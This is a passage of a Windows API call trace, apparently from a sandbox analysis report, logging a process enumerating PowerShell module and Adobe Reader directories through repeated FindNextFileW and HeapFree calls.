dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1 [0182.072] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0182.072] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2eca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.ps1", cAlternateFileName="")) returned 1 [0182.073] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0182.073] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0182.076] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0182.076] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb529cac5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x329315c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0 [0182.077] FindClose (in: hFindFile=0x45317c0 | out: hFindFile=0x45317c0) returned 1 [0182.077] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.077] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1 [0182.077] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0182.077] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Build.bat", cAlternateFileName="")) returned 1 [0182.078] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0182.078] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a070b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1 [0182.078] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0182.078] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1 [0182.078] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0182.078] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb52a1868, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0 [0182.078] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0182.079] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0182.079] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb531a14c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5dcb26, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1 [0182.082] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0182.082] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreakAndContinue.Tests.ps1", cAlternateFileName="")) returned 1 [0182.084] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0182.084] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0182.085] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0182.085] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53e92f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a64f261, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0 [0182.085] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0182.085] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.085] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 0 [0182.085] FindClose (in: hFindFile=0x4531880 | out: hFindFile=0x4531880) returned 1 [0182.085] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0182.086] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0182.088] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0182.088] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet.psd1", cAlternateFileName="POWERS~1.PSD")) returned 1 [0182.089] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.089] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0 [0182.089] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0182.089] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0182.089] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1 [0182.092] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0182.092] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PSReadline.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0182.092] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.092] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 1 [0182.094] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0182.094] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x34e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PSReadline.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0182.094] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.094] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 0 [0182.094] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0182.094] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0182.094] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 0 [0182.094] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0182.094] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0182.096] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="Modules", cAlternateFileName="")) returned 0 [0182.096] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0182.096] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0182.096] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0 [0182.097] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0182.097] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446f0 | out: hHeap=0x710000) returned 1 [0182.097] FindNextFileW (in: hFindFile=0x72a348, lpFindFileData=0x2eafcf8 | out: lpFindFileData=0x2eafcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0182.098] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0182.098] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Reader", cAlternateFileName="")) returned 1 [0182.131] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0182.131] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0 [0182.131] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0182.131] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.133] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d5caac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x465f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroBroker.exe", cAlternateFileName="ACROBR~1.EXE")) returned 1 [0182.376] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.376] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaaadbf3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="natives_blob.bin", cAlternateFileName="NATIVE~1.BIN")) returned 1 [0182.376] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0182.377] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1abe0524, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x134b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrofx32.dll", cAlternateFileName="")) returned 1 [0182.378] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0182.378] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37a46528, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x152a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="arh.exe", cAlternateFileName="")) returned 1 [0182.379] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.379] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WCChromeExtn", cAlternateFileName="WCCHRO~1")) returned 0 [0182.379] FindClose (in: hFindFile=0x4532280 | out: hFindFile=0x4532280) returned 1 [0182.380] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0182.380] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec3e62f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x35200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_asym.dll", cAlternateFileName="CCME_A~1.DLL")) returned 1 [0182.380] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.380] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0 [0182.380] FindClose (in: hFindFile=0x4532280 | out: hFindFile=0x4532280) returned 1 [0182.380] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0182.380] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Javascripts", cAlternateFileName="JAVASC~1")) returned 1 [0182.381] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0182.381] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf981782, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xbc1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JP2KLib.dll", cAlternateFileName="")) returned 1 [0182.381] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.381] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0 [0182.381] FindClose (in: hFindFile=0x4532280 | out: hFindFile=0x4532280) returned 1 [0182.381] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 